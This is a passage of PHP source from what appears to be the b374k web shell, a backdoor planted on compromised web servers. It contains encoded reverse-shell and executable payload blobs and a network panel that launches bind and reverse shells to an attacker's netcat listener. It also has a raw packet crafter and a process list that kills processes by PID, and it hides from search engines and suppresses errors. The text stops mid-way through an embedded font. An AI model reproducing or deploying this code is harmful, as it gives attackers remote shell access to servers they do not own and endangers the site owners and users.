"rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVDBybIC6WlNA0LlBThz+/z5xf9ZopSEKJCLxOvaYPuqYa0M3iJCki4Ag0DAtsfg4C3/xSg5YEHi3iFWTboPspGgz7084ez0WhglQJLnGsBOCylzdznN8Uo92S5adkZngw7PZ646g7/FbSZGDviyt1MhndfY4m03G/+0DalsKU4YhcYanL95GhlMxo3P8y6Rs9ciaIhCcmFlhU/Rf4jXTYBhS2MnPgiRbAJzdHTecMSHvjWVamB8q45n0oUxrElLKyc3t/HK1DScMuhExZlqFrRAXnjCqW/OAN4l9V3GSd+5p7lHiHiW8lt7rpCjfYxowUTfvjh2CjWLHqhBMvOH8Xfu3dnneqqoZ0yChy9Y1cmaL30LBnzYRkmJr4uV5jmWRob+fl69tpFrKMLNGf2Sk/sULsEKJnnelp7ggX3sUhstP+5w4MwnA8mo6i6V248xVXw/6rm9UmnNQcx7lpH25E6aT8DyflceIdJq/vpLROPtdfAA=="; $GLOBALS[\'resources\'][\'rs_java\'] = "lVRNb9swDD2nQP+D4JM9BHaTDdjWIsOwYYcBAzosvXXBICuMrdWWBYnOB9L891Gy7LhrLz1Ekcgn8vGRcpaxElHb6ywrJJZtnoqmzvK37989dOvlhax1Y5D95VueyiZ9c/PUpAC97fJCt3klBRMVt5b5y3+MPV5eTLSRW47ALHIkwEYqXgWYRgZ7BLW27K40wNcOP1z4rnSLSyR7zaS9GbtuWzz7mhY9A3J3HDTGT+9On11IjlhKm0q7oMh+S8aFi3TqQn2+3YIxcg2juNtGrplpVZx4nhM0h24zyQ8I9yuWswVTsGP++GH2cb666fxSIRPkpDyuzDhPgmNXygpi8WlxlbAQa0Is0p2RCHE+vZqKHurtm6q1ZTyYXox58n/dKjiKMv62F6BRNopBcoSUVFSkBRcPd4YLoHAe7Jau+lBv6Jgvu+ZSxaSfVAUVyk1hOxFcZW4cfO7Oz0S9Jl5RlkuV2TLyLrmJlweLUKcF4E/TaDB4iKPGporXECUpNj+aHZiv3BKhVKo17G83cbSTKkqcPMcQlf6ijm/ItnNWP3DMllBV7JqJRikQCOvfqss+6s/OEfhCZxtkXDbiAZCVoXfdMfiGDhN9V3NagSqwXCxmYQQm/iksaFYRCjCp5sYCHTz6/mrV92QJhuYppLJ9qpExdoF6tONiUy5c1/pmd/2EygL7n8z8tWQ64aQmrHfNVqPEIxGknrIRr9PLUrDHR/Yyn/ErLKQru3Tqj8zDKD95oEUzYMf2AUz+/oX0JhopAe6TQhd/tQplDe562NJEwR5ETMOThG8FqUWTOwsFk876GbWpI9IncOj5GV24r4p+znCAz1J6Psa1T8+H7VlGv7ziddLv9A8="; $GLOBALS[\'resources\'][\'rs_executable\'] = "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"; $GLOBALS[\'module\'][\'network\'][\'id\'] = "network"; $GLOBALS[\'module\'][\'network\'][\'title\'] = "Network"; $GLOBALS[\'module\'][\'network\'][\'js_ontabselected\'] = ""; $GLOBALS[\'module\'][\'network\'][\'content\'] = " <table class=\'boxtbl\'> <thead> <tr><th colspan=\'2\'><p class=\'boxtitle\'>Bind Shell</p></th></tr> </thead> <tbody> <tr><td style=\'width:120px\'>Server IP</td><td><input type=\'text\' id=\'bindAddr\' value=\'".$server_addr."\' disabled></td></tr> <tr><td>Port</td><td><input type=\'text\' id=\'bindPort\' value=\'".$default_port."\' onkeydown=\\"trap_enter(event, \'rs_go_bind\');\\"></td></tr> </tbody> <tfoot> <tr> <td style=\'width:120px;\'> <select id=\'bindLang\' class=\'rsType\'> ".$winbinary." </select> </td> <td><span class=\'button\' onclick=\\"rs_go_bind();\\" style=\'width:120px;\'>run</span></td> </tr> <tr><td colspan=\'2\'><pre id=\'bindResult\'>Press \' run \' button and run \' nc server_ip port \' on your computer</pre></td></tr> </tfoot> </table> <br> <table class=\'boxtbl\'> <thead> <tr><th colspan=\'2\'><p class=\'boxtitle\'>Reverse Shell</p></th></tr> </thead> <tbody> <tr><td style=\'width:120px\'>Target IP</td><td><input type=\'text\' id=\'backAddr\' value=\'".$remote_addr."\' onkeydown=\\"trap_enter(event, \'rs_go_back\');\\"></td></tr> <tr><td>Port</td><td><input type=\'text\' id=\'backPort\' value=\'".$default_port."\' onkeydown=\\"trap_enter(event, \'rs_go_back\');\\"></td></tr> </tbody> <tfoot> <tr> <td style=\'width:120px;\'> <select id=\'backLang\' class=\'rsType\'> ".$winbinary." </select> </td> <td><span class=\'button\' onclick=\\"rs_go(\'back\');\\" style=\'width:120px;\'>run</span></td> </tr> <tr><td colspan=\'2\'><pre id=\'backResult\'>Run \' nc -l -v -p port \' on your computer and press \' run \' button</pre></td></tr> </tfoot> </table> <br> <table class=\'boxtbl\'> <thead> <tr><th colspan=\'2\'><p class=\'boxtitle\'>Simple Packet Crafter</p></th></tr> </thead> <tbody> <tr><td style=\'width:120px\'>Host</td><td><input type=\'text\' id=\'packetHost\' value=\'tcp://".$server_addr."\' onkeydown=\\"trap_enter(event, \'packet_go\');\\"></td></tr> <tr><td>Start Port</td><td><input type=\'text\' id=\'packetStartPort\' value=\'80\' onkeydown=\\"trap_enter(event, \'packet_go\');\\"></td></tr> <tr><td>End Port</td><td><input type=\'text\' id=\'packetEndPort\' value=\'80\' onkeydown=\\"trap_enter(event, \'packet_go\');\\"></td></tr> <tr><td>Connection Timeout</td><td><input type=\'text\' id=\'packetTimeout\' value=\'5\' onkeydown=\\"trap_enter(event, \'packet_go\');\\"></td></tr> <tr><td>Stream Timeout</td><td><input type=\'text\' id=\'packetSTimeout\' value=\'5\' onkeydown=\\"trap_enter(event, \'packet_go\');\\"></td></tr> </tbody> <tfoot> <tr><td colspan=\'2\'><textarea id=\'packetContent\' style=\'height:140px;min-height:140px;\'>GET / HTTP/1.1\\\\r\\\\n\\\\r\\\\n</textarea></td></tr> <tr> <td> <span class=\'button\' onclick=\\"packet_go();\\" style=\'width:120px;\'>run</span> </td> <td>You can also press ctrl+enter to submit</td> </tr> <tr><td colspan=\'2\'><div id=\'packetResult\'></div></td></tr> </tfoot> </table> "; if(isset($p[\'rsLang\']) && isset($p[\'rsArgs\'])){ $rsLang = $p[\'rsLang\']; $rsArgs = $p[\'rsArgs\']; $res = ""; if($rsLang=="php"){ $code = get_resource("rs_".$rsLang); if($code!==false){ $code = "?><?php \\$target = \\"".$rsArgs."\\"; ?>".$code; $res = eval_go($rsLang, $code, "", ""); } } else{ $code = get_resource("rs_".$rsLang); if($code!==false){ $res = eval_go($rsLang, $code, "", $rsArgs); } } if($res===false) $res == "error"; output(html_safe($res)); } elseif(isset($p[\'packetTimeout\'])&&isset($p[\'packetSTimeout\'])&&isset($p[\'packetPort\'])&&isset($p[\'packetTimeout\'])&&isset($p[\'packetContent\'])){ $packetHost = trim($p[\'packetHost\']); if(!preg_match("/[a-z0-9]+:\\/\\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost; $packetPort = (int) $p[\'packetPort\']; $packetTimeout = (int) $p[\'packetTimeout\']; $packetSTimeout = (int) $p[\'packetSTimeout\']; $packetContent = $p[\'packetContent\']; if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent); else{ $packetContent = str_replace(array("\\r","\\n"), "", $packetContent); $packetContent = str_replace(array("\\\\r","\\\\n"), array("\\r", "\\n"), $packetContent); } $res = ""; $sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout); if(!$sock){ $res .= "<div class=\'weak\'>"; $res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")</div>"; } else{ stream_set_timeout($sock, $packetSTimeout); fwrite($sock, $packetContent."\\r\\n\\r\\n\\x00"); $counter = 0; $maxtry = 1; $bin = ""; do{ $line = fgets($sock, 1024); if(trim($line)=="") $counter++; $bin .= $line; }while($counter<$maxtry); fclose($sock); $res .= "<table class=\'boxtbl\'><tr><td><textarea style=\'height:140px;min-height:140px;\'>".html_safe($bin)."</textarea></td></tr>"; $res .= "<tr><td><textarea style=\'height:140px;min-height:140px;\'>".bin2hex($bin)."</textarea></td></tr></table>"; } output($res); } ?><?php $GLOBALS[\'module\'][\'processes\'][\'id\'] = "processes"; $GLOBALS[\'module\'][\'processes\'][\'title\'] = "Processes"; $GLOBALS[\'module\'][\'processes\'][\'js_ontabselected\'] = "show_processes();"; $GLOBALS[\'module\'][\'processes\'][\'content\'] = ""; if(!function_exists(\'show_processes\')){ function show_processes(){ $output = \'\'; $wcount = 11; if(is_win()){ $cmd = "tasklist /V /FO csv"; $wexplode = "\\",\\""; } else{ $cmd = "ps aux"; $wexplode = " "; } $res = execute($cmd); if(trim($res)==\'\') return false; else{ $output .= "<table id=\'psTable\' class=\'dataView sortable\'>"; if(!is_win()) $res = preg_replace(\'#\\ +#\',\' \',$res); $psarr = explode("\\n",$res); $fi = true; $tblcount = 0; $check = explode($wexplode,$psarr[0]); $wcount = count($check); foreach($psarr as $psa){ if(trim($psa)!=\'\'){ if($fi){ $fi = false; $psln = explode($wexplode, $psa, $wcount); $output .= "<tr><th class=\'col-cbox sorttable_nosort\'><div class=\'cBoxAll\'></div></th><th class=\'sorttable_nosort\'>action</th>"; foreach($psln as $p) $output .= "<th>".trim(trim(strtolower($p)) ,"\\"")."</th>"; $output .= "</tr>"; } else{ $psln = explode($wexplode, $psa, $wcount); $pid = trim(trim($psln[1]),"\\""); $tblcount = 0; $output .= "<tr data-pid=\'".$pid."\'>"; foreach($psln as $p){ if(trim($p)=="") $p = " "; $p = trim(trim($p) ,"\\""); $p = html_safe($p); if($tblcount == 0){ $output .= "<td><div class=\'cBox\'></div></td><td><a class=\'kill\'>kill</a></td><td>".$p."</td>"; $tblcount++; } else{ $tblcount++; if($tblcount == count($psln)) $output .= "<td style=\'text-align:left;\'>".$p."</td>"; else $output .= "<td style=\'text-align:center;\'>".$p."</td>"; } } $output .= "</tr>"; } } } $colspan = count($psln)+1; $colspanAll = $colspan+1; $output .= "<tfoot><tr><td><div class=\'cBoxAll\'></div></td><td colspan=".$colspan." style=\'text-align:left;\'><span class=\'button\' onclick=\'kill_selected();\' style=\'margin-right:8px;\'>kill selected</span><span class=\'button\' onclick=\'show_processes();\'>refresh</span><span class=\'psSelected\'></span></td></tr></tfoot></table>"; } return $output; } } if(isset($p[\'showProcesses\'])){ $processes = show_processes(); if($processes!==false) output($processes); output(\'error\'); } elseif(isset($p[\'allPid\'])){ $allPid = explode(" ", $p[\'allPid\']); $counter = 0; foreach($allPid as $pid){ $pid = trim($pid); if(!empty($pid)){ if(function_exists("posix_kill")){ if(posix_kill($pid,\'9\')) $counter++; } else{ if(is_win()){ $cmd = execute("taskkill /F /PID ".$pid); $cmd = execute("tasklist /FI \\"PID eq ".$pid."\\""); if(strpos($cmd,"No tasks are running")!==false) $counter++; } else{ $cmd = execute("kill -9 ".$pid); if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){ $cmd = trim(execute("ps -p ".$pid)); $check = explode("\\n", $cmd); if(count($check)==1) $counter++; } } } } } if($counter>0) output($counter); else output(\'error\'); } ?><?php\n$error = @ob_get_contents();\n$error_html = (!empty($error))?"<pre class=\'phpError border\'>".str_replace("\\n\\n", "\\n", html_safe($error))."</pre>":"";\n@ob_end_clean();\nerror_reporting(0);\n@ini_set(\'display_errors\',\'0\');\n?><!doctype html>\n<html>\n<head>\n<title><?php echo $GLOBALS[\'title\']." ".$GLOBALS[\'ver\'];?></title>\n<meta charset=\'utf-8\'>\n<meta name=\'robots\' content=\'noindex, nofollow, noarchive\'>\n<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0">\n<link rel=\'SHORTCUT ICON\' href=\'<?php echo get_resource(\'b374k\');?>\'>\n<style type="text/css">\n@font-face {\nfont-family:\'ubuntumono\';\nsrc:url(data:application/x-font-woff;charset=utf-8;base64,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